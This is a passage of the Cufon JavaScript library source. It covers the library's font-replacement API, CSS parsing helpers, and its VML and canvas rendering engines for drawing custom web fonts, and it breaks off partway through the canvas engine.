/*!
* Copyright (c) 2011 Simo Kinnunen.
* Licensed under the MIT license.
*
* @version ${Version}
*/

var Cufon = (function() {

var api = function() {
return api.replace.apply(null, arguments);
};

var DOM = api.DOM = {

ready: (function() {

var complete = false, readyStatus = { loaded: 1, complete: 1 };

var queue = [], perform = function() {
if (complete) return;
complete = true;
for (var fn; fn = queue.shift(); fn());
};

// Gecko, Opera, WebKit r26101+

if (document.addEventListener) {
document.addEventListener('DOMContentLoaded', perform, false);
window.addEventListener('pageshow', perform, false); // For cached Gecko pages
}

// Old WebKit, Internet Explorer

if (!window.opera && document.readyState) (function() {
readyStatus[document.readyState] ? perform() : setTimeout(arguments.callee, 10);
})();

// Internet Explorer

if (document.readyState && document.createStyleSheet) (function() {
try {
document.body.doScroll('left');
perform();
}
catch (e) {
setTimeout(arguments.callee, 1);
}
})();

addEvent(window, 'load', perform); // Fallback

return function(listener) {
if (!arguments.length) perform();
else complete ? listener() : queue.push(listener);
};

})(),

root: function() {
return document.documentElement || document.body;
},

strict: (function() {
var doctype;
// no doctype (doesn't always catch it though.. IE I'm looking at you)
if (document.compatMode == 'BackCompat') return false;
// WebKit, Gecko, Opera, IE9+
doctype = document.doctype;
if (doctype) {
return !/frameset|transitional/i.test(doctype.publicId);
}
// IE<9, firstChild is the doctype even if there's an XML declaration
doctype = document.firstChild;
if (doctype.nodeType != 8 || /^DOCTYPE.+(transitional|frameset)/i.test(doctype.data)) {
return false;
}
return true;
})()

};

var CSS = api.CSS = {

Size: function(value, base) {

this.value = parseFloat(value);
this.unit = String(value).match(/[a-z%]*$/)[0] || 'px';

this.convert = function(value) {
return value / base * this.value;
};

this.convertFrom = function(value) {
return value / this.value * base;
};

this.toString = function() {
return this.value + this.unit;
};

},

addClass: function(el, className) {
var current = el.className;
el.className = current + (current && ' ') + className;
return el;
},

color: cached(function(value) {
var parsed = {};
parsed.color = value.replace(/^rgba\((.*?),\s*([\d.]+)\)/, function($0, $1, $2) {
parsed.opacity = parseFloat($2);
return 'rgb(' + $1 + ')';
});
return parsed;
}),

// has no direct CSS equivalent.
// @see http://msdn.microsoft.com/en-us/library/system.windows.fontstretches.aspx
fontStretch: cached(function(value) {
if (typeof value == 'number') return value;
if (/%$/.test(value)) return parseFloat(value) / 100;
return {
'ultra-condensed': 0.5,
'extra-condensed': 0.625,
condensed: 0.75,
'semi-condensed': 0.875,
'semi-expanded': 1.125,
expanded: 1.25,
'extra-expanded': 1.5,
'ultra-expanded': 2
}[value] || 1;
}),

getStyle: function(el) {
var view = document.defaultView;
if (view && view.getComputedStyle) return new Style(view.getComputedStyle(el, null));
if (el.currentStyle) return new Style(el.currentStyle);
return new Style(el.style);
},

gradient: cached(function(value) {
var gradient = {
id: value,
type: value.match(/^-([a-z]+)-gradient\(/)[1],
stops: []
}, colors = value.substr(value.indexOf('(')).match(/([\d.]+=)?(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)/ig);
for (var i = 0, l = colors.length, stop; i < l; ++i) {
stop = colors[i].split('=', 2).reverse();
gradient.stops.push([ stop[1] || i / (l - 1), stop[0] ]);
}
return gradient;
}),

quotedList: cached(function(value) {
// doesn't work properly with empty quoted strings (""), but
// it's not worth the extra code.
var list = [], re = /\s*((["'])([\s\S]*?[^\\])\2|[^,]+)\s*/g, match;
while (match = re.exec(value)) list.push(match[3] || match[1]);
return list;
}),

recognizesMedia: cached(function(media) {
var el = document.createElement('style'), sheet, container, supported;
el.type = 'text/css';
el.media = media;
try { // this is cached anyway
el.appendChild(document.createTextNode('/**/'));
} catch (e) {}
container = elementsByTagName('head')[0];
container.insertBefore(el, container.firstChild);
sheet = (el.sheet || el.styleSheet);
supported = sheet && !sheet.disabled;
container.removeChild(el);
return supported;
}),

removeClass: function(el, className) {
var re = RegExp('(?:^|\\s+)' + className + '(?=\\s|$)', 'g');
el.className = el.className.replace(re, '');
return el;
},

supports: function(property, value) {
var checker = document.createElement('span').style;
if (checker[property] === undefined) return false;
checker[property] = value;
return checker[property] === value;
},

textAlign: function(word, style, position, wordCount) {
if (style.get('textAlign') == 'right') {
if (position > 0) word = ' ' + word;
}
else if (position < wordCount - 1) word += ' ';
return word;
},

textShadow: cached(function(value) {
if (value == 'none') return null;
var shadows = [], currentShadow = {}, result, offCount = 0;
var re = /(#[a-f0-9]+|[a-z]+\(.*?\)|[a-z]+)|(-?[\d.]+[a-z%]*)|,/ig;
while (result = re.exec(value)) {
if (result[0] == ',') {
shadows.push(currentShadow);
currentShadow = {};
offCount = 0;
}
else if (result[1]) {
currentShadow.color = result[1];
}
else {
currentShadow[[ 'offX', 'offY', 'blur' ][offCount++]] = result[2];
}
}
shadows.push(currentShadow);
return shadows;
}),

textTransform: (function() {
var map = {
uppercase: function(s) {
return s.toUpperCase();
},
lowercase: function(s) {
return s.toLowerCase();
},
capitalize: function(s) {
return s.replace(/(?:^|\s)./g, function($0) {
return $0.toUpperCase();
});
}
};
return function(text, style) {
var transform = map[style.get('textTransform')];
return transform ? transform(text) : text;
};
})(),

whiteSpace: (function() {
var ignore = {
inline: 1,
'inline-block': 1,
'run-in': 1
};
var wsStart = /^\s+/, wsEnd = /\s+$/;
return function(text, style, node, previousElement, simple) {
if (simple) return text.replace(wsStart, '').replace(wsEnd, ''); // @fixme too simple
if (previousElement) {
if (previousElement.nodeName.toLowerCase() == 'br') {
text = text.replace(wsStart, '');
}
}
if (ignore[style.get('display')]) return text;
if (!node.previousSibling) text = text.replace(wsStart, '');
if (!node.nextSibling) text = text.replace(wsEnd, '');
return text;
};
})()

};

CSS.ready = (function() {

// don't do anything in Safari 2 (it doesn't recognize any media type)
var complete = !CSS.recognizesMedia('all'), hasLayout = false;

var queue = [], perform = function() {
complete = true;
for (var fn; fn = queue.shift(); fn());
};

var links = elementsByTagName('link'), styles = elementsByTagName('style');

var checkTypes = {
'': 1,
'text/css': 1
};

function isContainerReady(el) {
if (!checkTypes[el.type.toLowerCase()]) return true;
return el.disabled || isSheetReady(el.sheet, el.media || 'screen');
}

function isSheetReady(sheet, media) {
// in Opera sheet.disabled is true when it's still loading,
// even though link.disabled is false. they stay in sync if
// set manually.
if (!CSS.recognizesMedia(media || 'all')) return true;
if (!sheet || sheet.disabled) return false;
try {
var rules = sheet.cssRules, rule;
if (rules) {
// needed for Safari 3 and Chrome 1.0.
// in standards-conforming browsers cssRules contains @-rules.
// Chrome 1.0 weirdness: rules[<number larger than .length - 1>]
// returns the last rule, so a for loop is the only option.
search: for (var i = 0, l = rules.length; rule = rules[i], i < l; ++i) {
switch (rule.type) {
case 2: // @charset
break;
case 3: // @import
if (!isSheetReady(rule.styleSheet, rule.media.mediaText)) return false;
break;
default:
// only @charset can precede @import
break search;
}
}
}
}
catch (e) {} // probably a style sheet from another domain
return true;
}

function allStylesLoaded() {
// Internet Explorer's style sheet model, there's no need to do anything
if (document.createStyleSheet) return true;
// standards-compliant browsers
var el, i;
for (i = 0; el = links[i]; ++i) {
if (el.rel.toLowerCase() == 'stylesheet' && !isContainerReady(el)) return false;
}
for (i = 0; el = styles[i]; ++i) {
if (!isContainerReady(el)) return false;
}
return true;
}

DOM.ready(function() {
// getComputedStyle returns null in Gecko if used in an iframe with display: none
if (!hasLayout) hasLayout = CSS.getStyle(document.body).isUsable();
if (complete || (hasLayout && allStylesLoaded())) perform();
else setTimeout(arguments.callee, 10);
});

return function(listener) {
if (complete) listener();
else queue.push(listener);
};

})();

function Font(data) {

var face = this.face = data.face, wordSeparators = {
'\u0020': 1,
'\u00a0': 1,
'\u3000': 1
};

this.glyphs = (function(glyphs) {
var key, fallbacks = {
'\u2011': '\u002d',
'\u00ad': '\u2011'
};
for (key in fallbacks) {
if (!hasOwnProperty(fallbacks, key)) continue;
if (!glyphs[key]) glyphs[key] = glyphs[fallbacks[key]];
}
return glyphs;
})(data.glyphs);

this.w = data.w;
this.baseSize = parseInt(face['units-per-em'], 10);

this.family = face['font-family'].toLowerCase();
this.weight = face['font-weight'];
this.style = face['font-style'] || 'normal';

this.viewBox = (function () {
var parts = face.bbox.split(/\s+/);
var box = {
minX: parseInt(parts[0], 10),
minY: parseInt(parts[1], 10),
maxX: parseInt(parts[2], 10),
maxY: parseInt(parts[3], 10)
};
box.width = box.maxX - box.minX;
box.height = box.maxY - box.minY;
box.toString = function() {
return [ this.minX, this.minY, this.width, this.height ].join(' ');
};
return box;
})();

this.ascent = -parseInt(face.ascent, 10);
this.descent = -parseInt(face.descent, 10);

this.height = -this.ascent + this.descent;

this.spacing = function(chars, letterSpacing, wordSpacing) {
var glyphs = this.glyphs, glyph,
kerning, k,
jumps = [],
width = 0, w,
i = -1, j = -1, chr;
while (chr = chars[++i]) {
glyph = glyphs[chr] || this.missingGlyph;
if (!glyph) continue;
if (kerning) {
width -= k = kerning[chr] || 0;
jumps[j] -= k;
}
w = glyph.w;
if (isNaN(w)) w = +this.w; // may have been a String in old fonts
if (w > 0) {
w += letterSpacing;
if (wordSeparators[chr]) w += wordSpacing;
}
width += jumps[++j] = ~~w; // get rid of decimals
kerning = glyph.k;
}
jumps.total = width;
return jumps;
};

}

function FontFamily() {

var styles = {}, mapping = {
oblique: 'italic',
italic: 'oblique'
};

this.add = function(font) {
(styles[font.style] || (styles[font.style] = {}))[font.weight] = font;
};

this.get = function(style, weight) {
var weights = styles[style] || styles[mapping[style]]
|| styles.normal || styles.italic || styles.oblique;
if (!weights) return null;
// we don't have to worry about "bolder" and "lighter"
// because IE's currentStyle returns a numeric value for it,
// and other browsers use the computed value anyway
weight = {
normal: 400,
bold: 700
}[weight] || parseInt(weight, 10);
if (weights[weight]) return weights[weight];
// http://www.w3.org/TR/CSS21/fonts.html#propdef-font-weight
// Gecko uses x99/x01 for lighter/bolder
var up = {
1: 1,
99: 0
}[weight % 100], alts = [], min, max;
if (up === undefined) up = weight > 400;
if (weight == 500) weight = 400;
for (var alt in weights) {
if (!hasOwnProperty(weights, alt)) continue;
alt = parseInt(alt, 10);
if (!min || alt < min) min = alt;
if (!max || alt > max) max = alt;
alts.push(alt);
}
if (weight < min) weight = min;
if (weight > max) weight = max;
alts.sort(function(a, b) {
return (up
? (a >= weight && b >= weight) ? a < b : a > b
: (a <= weight && b <= weight) ? a > b : a < b) ? -1 : 1;
});
return weights[alts[0]];
};

}

function HoverHandler() {

function contains(node, anotherNode) {
try {
if (node.contains) return node.contains(anotherNode);
return node.compareDocumentPosition(anotherNode) & 16;
}
catch(e) {} // probably a XUL element such as a scrollbar
return false;
}

// mouseover/mouseout (standards) mode
function onOverOut(e) {
var related = e.relatedTarget;
// there might be no relatedTarget if the element is right next
// to the window frame
if (related && contains(this, related)) return;
trigger(this, e.type == 'mouseover');
}

// mouseenter/mouseleave (probably ie) mode
function onEnterLeave(e) {
if (!e) e = window.event;
// ie model, we don't have access to "this", but
// mouseenter/leave doesn't bubble so it's fine.
trigger(e.target || e.srcElement, e.type == 'mouseenter');
}

function trigger(el, hoverState) {
// A timeout is needed so that the event can actually "happen"
// before replace is triggered. This ensures that styles are up
// to date.
setTimeout(function() {
var options = sharedStorage.get(el).options;
if (hoverState) {
options = merge(options, options.hover);
options._mediatorMode = 1;
}
api.replace(el, options, true);
}, 10);
}

this.attach = function(el) {
if (el.onmouseenter === undefined) {
addEvent(el, 'mouseover', onOverOut);
addEvent(el, 'mouseout', onOverOut);
}
else {
addEvent(el, 'mouseenter', onEnterLeave);
addEvent(el, 'mouseleave', onEnterLeave);
}
};

this.detach = function(el) {
if (el.onmouseenter === undefined) {
removeEvent(el, 'mouseover', onOverOut);
removeEvent(el, 'mouseout', onOverOut);
}
else {
removeEvent(el, 'mouseenter', onEnterLeave);
removeEvent(el, 'mouseleave', onEnterLeave);
}
};

}

function ReplaceHistory() {

var list = [], map = {};

function filter(keys) {
var values = [], key;
for (var i = 0; key = keys[i]; ++i) values[i] = list[map[key]];
return values;
}

this.add = function(key, args) {
map[key] = list.push(args) - 1;
};

this.repeat = function() {
var snapshot = arguments.length ? filter(arguments) : list, args;
for (var i = 0; args = snapshot[i++];) api.replace(args[0], args[1], true);
};

}

function Storage() {

var map = {}, at = 0;

function identify(el) {
return el.cufid || (el.cufid = ++at);
}

this.get = function(el) {
var id = identify(el);
return map[id] || (map[id] = {});
};

}

function Style(style) {

var custom = {}, sizes = {};

this.extend = function(styles) {
for (var property in styles) {
if (hasOwnProperty(styles, property)) custom[property] = styles[property];
}
return this;
};

this.get = function(property) {
return custom[property] != undefined ? custom[property] : style[property];
};

this.getSize = function(property, base) {
return sizes[property] || (sizes[property] = new CSS.Size(this.get(property), base));
};

this.isUsable = function() {
return !!style;
};

}

function addEvent(el, type, listener) {
if (el.addEventListener) {
el.addEventListener(type, listener, false);
}
else if (el.attachEvent) {
// we don't really need "this" right now, saves code
el.attachEvent('on' + type, listener);
}
}

function attach(el, options) {
if (options._mediatorMode) return el;
var storage = sharedStorage.get(el);
var oldOptions = storage.options;
if (oldOptions) {
if (oldOptions === options) return el;
if (oldOptions.hover) hoverHandler.detach(el);
}
if (options.hover && options.hoverables[el.nodeName.toLowerCase()]) {
hoverHandler.attach(el);
}
storage.options = options;
return el;
}

function cached(fun) {
var cache = {};
return function(key) {
if (!hasOwnProperty(cache, key)) cache[key] = fun.apply(null, arguments);
return cache[key];
};
}

function getFont(el, style) {
var families = CSS.quotedList(style.get('fontFamily').toLowerCase()), family;
for (var i = 0; family = families[i]; ++i) {
if (fonts[family]) return fonts[family].get(style.get('fontStyle'), style.get('fontWeight'));
}
return null;
}

function elementsByTagName(query) {
return document.getElementsByTagName(query);
}

function hasOwnProperty(obj, property) {
return obj.hasOwnProperty(property);
}

function merge() {
var merged = {}, arg, key;
for (var i = 0, l = arguments.length; arg = arguments[i], i < l; ++i) {
for (key in arg) {
if (hasOwnProperty(arg, key)) merged[key] = arg[key];
}
}
return merged;
}

function process(font, text, style, options, node, el) {
var fragment = document.createDocumentFragment(), processed;
if (text === '') return fragment;
var separate = options.separate;
var parts = text.split(separators[separate]), needsAligning = (separate == 'words');
if (needsAligning && HAS_BROKEN_REGEXP) {
// @todo figure out a better way to do this
if (/^\s/.test(text)) parts.unshift('');
if (/\s$/.test(text)) parts.push('');
}
for (var i = 0, l = parts.length; i < l; ++i) {
processed = engines[options.engine](font,
needsAligning ? CSS.textAlign(parts[i], style, i, l) : parts[i],
style, options, node, el, i < l - 1);
if (processed) fragment.appendChild(processed);
}
return fragment;
}

function removeEvent(el, type, listener) {
if (el.removeEventListener) {
el.removeEventListener(type, listener, false);
}
else if (el.detachEvent) {
el.detachEvent('on' + type, listener);
}
}

function replaceElement(el, options) {
var name = el.nodeName.toLowerCase();
if (options.ignore[name]) return;
if (options.ignoreClass && options.ignoreClass.test(el.className)) return;
if (options.onBeforeReplace) options.onBeforeReplace(el, options);
var replace = !options.textless[name], simple = (options.trim === 'simple');
var style = CSS.getStyle(attach(el, options)).extend(options);
// may cause issues if the element contains other elements
// with larger fontSize, however such cases are rare and can
// be fixed by using a more specific selector
if (parseFloat(style.get('fontSize')) === 0) return;
var font = getFont(el, style), node, type, next, anchor, text, lastElement;
var isShy = options.softHyphens, anyShy = false, pos, shy, reShy = /\u00ad/g;
var modifyText = options.modifyText;
if (!font) return;
for (node = el.firstChild; node; node = next) {
type = node.nodeType;
next = node.nextSibling;
if (replace && type == 3) {
if (isShy && el.nodeName.toLowerCase() != TAG_SHY) {
pos = node.data.indexOf('\u00ad');
if (pos >= 0) {
node.splitText(pos);
next = node.nextSibling;
next.deleteData(0, 1);
shy = document.createElement(TAG_SHY);
shy.appendChild(document.createTextNode('\u00ad'));
el.insertBefore(shy, next);
next = shy;
anyShy = true;
}
}
// Node.normalize() is broken in IE 6, 7, 8
if (anchor) {
anchor.appendData(node.data);
el.removeChild(node);
}
else anchor = node;
if (next) continue;
}
if (anchor) {
text = anchor.data;
if (!isShy) text = text.replace(reShy, '');
text = CSS.whiteSpace(text, style, anchor, lastElement, simple);
// modify text only on the first replace
if (modifyText) text = modifyText(text, anchor, el, options);
el.replaceChild(process(font, text, style, options, node, el), anchor);
anchor = null;
}
if (type == 1) {
if (node.firstChild) {
if (node.nodeName.toLowerCase() == 'cufon') {
engines[options.engine](font, null, style, options, node, el);
}
else arguments.callee(node, options);
}
lastElement = node;
}
}
if (isShy && anyShy) {
updateShy(el);
if (!trackingShy) addEvent(window, 'resize', updateShyOnResize);
trackingShy = true;
}
if (options.onAfterReplace) options.onAfterReplace(el, options);
}

function updateShy(context) {
var shys, shy, parent, glue, newGlue, next, prev, i;
shys = context.getElementsByTagName(TAG_SHY);
// unfortunately there doesn't seem to be any easy
// way to avoid having to loop through the shys twice.
for (i = 0; shy = shys[i]; ++i) {
shy.className = C_SHY_DISABLED;
glue = parent = shy.parentNode;
if (glue.nodeName.toLowerCase() != TAG_GLUE) {
newGlue = document.createElement(TAG_GLUE);
newGlue.appendChild(shy.previousSibling);
parent.insertBefore(newGlue, shy);
newGlue.appendChild(shy);
}
else {
// get rid of double glue (edge case fix)
glue = glue.parentNode;
if (glue.nodeName.toLowerCase() == TAG_GLUE) {
parent = glue.parentNode;
while (glue.firstChild) {
parent.insertBefore(glue.firstChild, glue);
}
parent.removeChild(glue);
}
}
}
for (i = 0; shy = shys[i]; ++i) {
shy.className = '';
glue = shy.parentNode;
parent = glue.parentNode;
next = glue.nextSibling || parent.nextSibling;
// make sure we're comparing same types
prev = (next.nodeName.toLowerCase() == TAG_GLUE) ? glue : shy.previousSibling;
if (prev.offsetTop >= next.offsetTop) {
shy.className = C_SHY_DISABLED;
if (prev.offsetTop < next.offsetTop) {
// we have an annoying edge case, double the glue
newGlue = document.createElement(TAG_GLUE);
parent.insertBefore(newGlue, glue);
newGlue.appendChild(glue);
newGlue.appendChild(next);
}
}
}
}

function updateShyOnResize() {
if (ignoreResize) return; // needed for IE
CSS.addClass(DOM.root(), C_VIEWPORT_RESIZING);
clearTimeout(shyTimer);
shyTimer = setTimeout(function() {
ignoreResize = true;
CSS.removeClass(DOM.root(), C_VIEWPORT_RESIZING);
updateShy(document);
ignoreResize = false;
}, 100);
}

var HAS_BROKEN_REGEXP = ' '.split(/\s+/).length == 0;
var TAG_GLUE = 'cufonglue';
var TAG_SHY = 'cufonshy';
var C_SHY_DISABLED = 'cufon-shy-disabled';
var C_VIEWPORT_RESIZING = 'cufon-viewport-resizing';

var sharedStorage = new Storage();
var hoverHandler = new HoverHandler();
var replaceHistory = new ReplaceHistory();
var initialized = false;
var trackingShy = false;
var shyTimer;
var ignoreResize = false;

var engines = {}, fonts = {}, defaultOptions = {
autoDetect: false,
engine: null,
forceHitArea: false,
hover: false,
hoverables: {
a: true
},
ignore: {
applet: 1,
canvas: 1,
col: 1,
colgroup: 1,
head: 1,
iframe: 1,
map: 1,
noscript: 1,
optgroup: 1,
option: 1,
script: 1,
select: 1,
style: 1,
textarea: 1,
title: 1,
pre: 1
},
ignoreClass: null,
modifyText: null,
onAfterReplace: null,
onBeforeReplace: null,
printable: true,
selector: (
window.Sizzle
|| (window.jQuery && function(query) { return jQuery(query); }) // avoid noConflict issues
|| (window.dojo && dojo.query)
|| (window.glow && glow.dom && glow.dom.get)
|| (window.Ext && Ext.query)
|| (window.YAHOO && YAHOO.util && YAHOO.util.Selector && YAHOO.util.Selector.query)
|| (window.$$ && function(query) { return $$(query); })
|| (window.$ && function(query) { return $(query); })
|| (document.querySelectorAll && function(query) { return document.querySelectorAll(query); })
|| elementsByTagName
),
separate: 'words', // 'none' and 'characters' are also accepted
softHyphens: true,
textless: {
dl: 1,
html: 1,
ol: 1,
table: 1,
tbody: 1,
thead: 1,
tfoot: 1,
tr: 1,
ul: 1
},
textShadow: 'none',
trim: 'advanced'
};

var separators = {
// The first pattern may cause unicode characters above
// code point 255 to be removed in Safari 3.0. Luckily enough
// Safari 3.0 does not include non-breaking spaces in \s, so
// we can just use a simple alternative pattern.
words: /\s/.test('\u00a0') ? /[^\S\u00a0]+/ : /\s+/,
characters: '',
none: /^/
};

api.now = function() {
DOM.ready();
return api;
};

api.refresh = function() {
replaceHistory.repeat.apply(replaceHistory, arguments);
return api;
};

api.registerEngine = function(id, engine) {
if (!engine) return api;
engines[id] = engine;
return api.set('engine', id);
};

api.registerFont = function(data) {
if (!data) return api;
var font = new Font(data), family = font.family;
if (!fonts[family]) fonts[family] = new FontFamily();
fonts[family].add(font);
return api.set('fontFamily', '"' + family + '"');
};

api.replace = function(elements, options, ignoreHistory) {
options = merge(defaultOptions, options);
if (!options.engine) return api; // there's no browser support so we'll just stop here
if (!initialized) {
CSS.addClass(DOM.root(), 'cufon-active cufon-loading');
CSS.ready(function() {
// fires before any replace() calls, but it doesn't really matter
CSS.addClass(CSS.removeClass(DOM.root(), 'cufon-loading'), 'cufon-ready');
});
initialized = true;
}
if (options.hover) options.forceHitArea = true;
if (options.autoDetect) delete options.fontFamily;
if (typeof options.ignoreClass == 'string') {
options.ignoreClass = new RegExp('(?:^|\\s)(?:' + options.ignoreClass.replace(/\s+/g, '|') + ')(?:\\s|$)');
}
if (typeof options.textShadow == 'string') {
options.textShadow = CSS.textShadow(options.textShadow);
}
if (typeof options.color == 'string' && /^-/.test(options.color)) {
options.textGradient = CSS.gradient(options.color);
}
else delete options.textGradient;
if (typeof elements == 'string') {
if (!ignoreHistory) replaceHistory.add(elements, arguments);
elements = [ elements ];
}
else if (elements.nodeType) elements = [ elements ];
CSS.ready(function() {
for (var i = 0, l = elements.length; i < l; ++i) {
var el = elements[i];
if (typeof el == 'string') api.replace(options.selector(el), options, true);
else replaceElement(el, options);
}
});
return api;
};

api.set = function(option, value) {
defaultOptions[option] = value;
return api;
};

return api;

})();

Cufon.registerEngine('vml', (function() {

var ns = document.namespaces;
if (!ns) return;
ns.add('cvml', 'urn:schemas-microsoft-com:vml');
ns = null;

var check = document.createElement('cvml:shape');
check.style.behavior = 'url(#default#VML)';
if (!check.coordsize) return; // VML isn't supported
check = null;

var HAS_BROKEN_LINEHEIGHT = (document.documentMode || 0) < 8;

document.write(('<style type="text/css">' +
'cufoncanvas{text-indent:0;}' +
'@media screen{' +
'cvml\\:shape,cvml\\:rect,cvml\\:fill,cvml\\:shadow{behavior:url(#default#VML);display:block;antialias:true;position:absolute;}' +
'cufoncanvas{position:absolute;text-align:left;}' +
'cufon{display:inline-block;position:relative;vertical-align:' +
(HAS_BROKEN_LINEHEIGHT
? 'middle'
: 'text-bottom') +
';}' +
'cufon cufontext{position:absolute;left:-10000in;font-size:1px;text-align:left;}' +
'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
'cufonglue{white-space:nowrap;display:inline-block;}' +
'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
'a cufon{cursor:pointer}' + // ignore !important here
'}' +
'@media print{' +
'cufon cufoncanvas{display:none;}' +
'}' +
'</style>').replace(/;/g, '!important;'));

function getFontSizeInPixels(el, value) {
return getSizeInPixels(el, /(?:em|ex|%)$|^[a-z-]+$/i.test(value) ? '1em' : value);
}

// Original by Dead Edwards.
// Combined with getFontSizeInPixels it also works with relative units.
function getSizeInPixels(el, value) {
if (!isNaN(value) || /px$/i.test(value)) return parseFloat(value);
var style = el.style.left, runtimeStyle = el.runtimeStyle.left;
el.runtimeStyle.left = el.currentStyle.left;
el.style.left = value.replace('%', 'em');
var result = el.style.pixelLeft;
el.style.left = style;
el.runtimeStyle.left = runtimeStyle;
return result;
}

function getSpacingValue(el, style, size, property) {
var key = 'computed' + property, value = style[key];
if (isNaN(value)) {
value = style.get(property);
style[key] = value = (value == 'normal') ? 0 : ~~size.convertFrom(getSizeInPixels(el, value));
}
return value;
}

var fills = {};

function gradientFill(gradient) {
var id = gradient.id;
if (!fills[id]) {
var stops = gradient.stops, fill = document.createElement('cvml:fill'), colors = [];
fill.type = 'gradient';
fill.angle = 180;
fill.focus = '0';
fill.method = 'none';
fill.color = stops[0][1];
for (var j = 1, k = stops.length - 1; j < k; ++j) {
colors.push(stops[j][0] * 100 + '% ' + stops[j][1]);
}
fill.colors = colors.join(',');
fill.color2 = stops[k][1];
fills[id] = fill;
}
return fills[id];
}

return function(font, text, style, options, node, el, hasNext) {

var redraw = (text === null);

if (redraw) text = node.alt;

var viewBox = font.viewBox;

var size = style.computedFontSize || (style.computedFontSize = new Cufon.CSS.Size(getFontSizeInPixels(el, style.get('fontSize')) + 'px', font.baseSize));

var wrapper, canvas;

if (redraw) {
wrapper = node;
canvas = node.firstChild;
}
else {
wrapper = document.createElement('cufon');
wrapper.className = 'cufon cufon-vml';
wrapper.alt = text;

canvas = document.createElement('cufoncanvas');
wrapper.appendChild(canvas);

if (options.printable) {
var print = document.createElement('cufontext');
print.appendChild(document.createTextNode(text));
wrapper.appendChild(print);
}

// ie6, for some reason, has trouble rendering the last VML element in the document.
// we can work around this by injecting a dummy element where needed.
// @todo find a better solution
if (!hasNext) wrapper.appendChild(document.createElement('cvml:shape'));
}

var wStyle = wrapper.style;
var cStyle = canvas.style;

var height = size.convert(viewBox.height), roundedHeight = Math.ceil(height);
var roundingFactor = roundedHeight / height;
var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
var minX = viewBox.minX, minY = viewBox.minY;

cStyle.height = roundedHeight;
cStyle.top = Math.round(size.convert(minY - font.ascent));
cStyle.left = Math.round(size.convert(minX));

wStyle.height = size.convert(font.height) + 'px';

var color = style.get('color');
var chars = Cufon.CSS.textTransform(text, style).split('');

var jumps = font.spacing(chars,
getSpacingValue(el, style, size, 'letterSpacing'),
getSpacingValue(el, style, size, 'wordSpacing')
);

if (!jumps.length) return null;

var width = jumps.total;
var fullWidth = -minX + width + (viewBox.width - jumps[jumps.length - 1]);

var shapeWidth = size.convert(fullWidth * stretchFactor), roundedShapeWidth = Math.round(shapeWidth);

var coordSize = fullWidth + ',' + viewBox.height, coordOrigin;
var stretch = 'r' + coordSize + 'ns';

var fill = options.textGradient && gradientFill(options.textGradient);

var glyphs = font.glyphs, offsetX = 0;
var shadows = options.textShadow;
var i = -1, j = 0, chr;

while (chr = chars[++i]) {

var glyph = glyphs[chars[i]] || font.missingGlyph, shape;
if (!glyph) continue;

if (redraw) {
// some glyphs may be missing so we can't use i
shape = canvas.childNodes[j];
while (shape.firstChild) shape.removeChild(shape.firstChild); // shadow, fill
}
else {
shape = document.createElement('cvml:shape');
canvas.appendChild(shape);
}

shape.stroked = 'f';
shape.coordsize = coordSize;
shape.coordorigin = coordOrigin = (minX - offsetX) + ',' + minY;
shape.path = (glyph.d ? 'm' + glyph.d + 'xe' : '') + 'm' + coordOrigin + stretch;
shape.fillcolor = color;

if (fill) shape.appendChild(fill.cloneNode(false));

// it's important to not set top/left or IE8 will grind to a halt
var sStyle = shape.style;
sStyle.width = roundedShapeWidth;
sStyle.height = roundedHeight;

if (shadows) {
// due to the limitations of the VML shadow element there
// can only be two visible shadows. opacity is shared
// for all shadows.
var shadow1 = shadows[0], shadow2 = shadows[1];
var color1 = Cufon.CSS.color(shadow1.color), color2;
var shadow = document.createElement('cvml:shadow');
shadow.on = 't';
shadow.color = color1.color;
shadow.offset = shadow1.offX + ',' + shadow1.offY;
if (shadow2) {
color2 = Cufon.CSS.color(shadow2.color);
shadow.type = 'double';
shadow.color2 = color2.color;
shadow.offset2 = shadow2.offX + ',' + shadow2.offY;
}
shadow.opacity = color1.opacity || (color2 && color2.opacity) || 1;
shape.appendChild(shadow);
}

offsetX += jumps[j++];
}

// addresses flickering issues on :hover

var cover = shape.nextSibling, coverFill, vStyle;

if (options.forceHitArea) {

if (!cover) {
cover = document.createElement('cvml:rect');
cover.stroked = 'f';
cover.className = 'cufon-vml-cover';
coverFill = document.createElement('cvml:fill');
coverFill.opacity = 0;
cover.appendChild(coverFill);
canvas.appendChild(cover);
}

vStyle = cover.style;

vStyle.width = roundedShapeWidth;
vStyle.height = roundedHeight;

}
else if (cover) canvas.removeChild(cover);

wStyle.width = Math.max(Math.ceil(size.convert(width * stretchFactor)), 0);

if (HAS_BROKEN_LINEHEIGHT) {

var yAdjust = style.computedYAdjust;

if (yAdjust === undefined) {
var lineHeight = style.get('lineHeight');
if (lineHeight == 'normal') lineHeight = '1em';
else if (!isNaN(lineHeight)) lineHeight += 'em'; // no unit
style.computedYAdjust = yAdjust = 0.5 * (getSizeInPixels(el, lineHeight) - parseFloat(wStyle.height));
}

if (yAdjust) {
wStyle.marginTop = Math.ceil(yAdjust) + 'px';
wStyle.marginBottom = yAdjust + 'px';
}

}

return wrapper;

};

})());

Cufon.registerEngine('canvas', (function() {

// Safari 2 doesn't support .apply() on native methods

var check = document.createElement('canvas');
if (!check || !check.getContext || !check.getContext.apply) return;
check = null;

var HAS_INLINE_BLOCK = Cufon.CSS.supports('display', 'inline-block');

// Firefox 2 w/ non-strict doctype (almost standards mode)
var HAS_BROKEN_LINEHEIGHT = !HAS_INLINE_BLOCK && (document.compatMode == 'BackCompat' || /frameset|transitional/i.test(document.doctype.publicId));

var styleSheet = document.createElement('style');
styleSheet.type = 'text/css';
styleSheet.appendChild(document.createTextNode((
'cufon{text-indent:0;}' +
'@media screen,projection{' +
'cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;' +
(HAS_BROKEN_LINEHEIGHT
? ''
: 'font-size:1px;line-height:1px;') +
'}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;text-align:left;text-indent:-10000in;}' +
(HAS_INLINE_BLOCK
? 'cufon canvas{position:relative;}'
: 'cufon canvas{position:absolute;}') +
'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
'cufonglue{white-space:nowrap;display:inline-block;}' +
'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
'}' +
'@media print{' +
'cufon{padding:0;}' + // Firefox 2
